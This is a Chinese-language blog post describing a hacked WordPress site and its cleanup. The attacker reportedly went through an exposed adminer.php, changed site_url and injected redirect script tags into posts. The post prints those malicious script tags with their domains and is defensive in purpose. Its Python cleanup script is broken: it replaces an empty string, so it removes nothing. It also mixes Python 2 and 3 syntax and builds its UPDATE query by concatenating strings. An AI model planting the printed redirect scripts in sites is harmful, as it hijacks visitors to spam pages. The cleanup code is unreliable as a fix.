WordPress网站被黑并重定向到top.worldctraffic.com的解决方案

发现被黑

我这快一年没打理的wordpress个人小站竟然被黑了。访问时主页样式明显不对,打开主页后5秒左右网站被重定向到top.worldctraffic.com等俄文网站。通过查看阿里云的日志警告我发现有Hacker利用我放在网站根目录下的adminer.php做了SQL注入(这应该是adminer.php的一个漏洞),抓取到了wordpress网站的wp_config.php文件,进而获得了db的用户名和密码。再通过adminer.php对网站db进行了篡改。(此时只想问候这个Hacker的族谱。)

入侵行为和修复方案

通过分析,我确定了入侵者的具体行为并找到了修复网站的办法。
入侵者的具体行为是:

  • 修改wp_options表的site_url字段为:https://top.worldctraffic.com/。【修复方案】 db中重新设置site_url设置为网站的域名。
  • 在wp_post表wp_content字段的每条记录尾部插入字符串:
<script src="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&subid=043" type="text/javascript"></script><script src="https://land.buyittraffic.com/clizkes" type="text/javascript"></script>

这两个js脚本会将网站重定向到top.worldctraffic.com、1.startrafficc.com等俄文网站页面。

【修复方案】编写python程序将黑客插入的重定向字符串删除,代码如下:

import MySQLdb
import pymysql
verbose = False

db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="xxx", # your username
passwd="xxxxx", # your password
db="wordpress", # your db
charset='utf8')

# you must create a Cursor object. It will let
# you execute all the queries you need
cur = db.cursor()

# Use all the SQL you like
cur.execute("SELECT * FROM `wp_posts` WHERE `post_content` LIKE '%https://scripts.trasnaltemyrecords.com/pixel.js?track=r&amp;subid=043%'")

cur_res = cur.fetchall()

# print all the first cell of all the rows
cnt = 0
for row in cur_res:
    print row[0]
    cnt += 1

    new_text = row[4].replace("", "")

    if verbose:
        print(row[4])
        print('=============================')
        print(new_text)

    sql = "UPDATE wp_posts SET post_content ='" + 
    pymysql.escape_string(new_text) +"' WHERE id="+str(row[0])
    cur.execute(sql)
    db.commit()
    #break
print('Total', cnt, 'records')
db.close()

以上代码需要修改填入你自己的db用户名和密码并安装依赖项:

pip install pymysql
sudo apt-get install python-mysqldb
  • 为了杜绝wordpress的帖子里的javascript被执行,应当在wp_config.php中添加
    /** prevent html in post from executing*/
    define('DISALLOW_UNFILTERED_HTML', true);

最后,别忘记修改db密码,删除adminer.php,断绝黑客再次入侵的途径。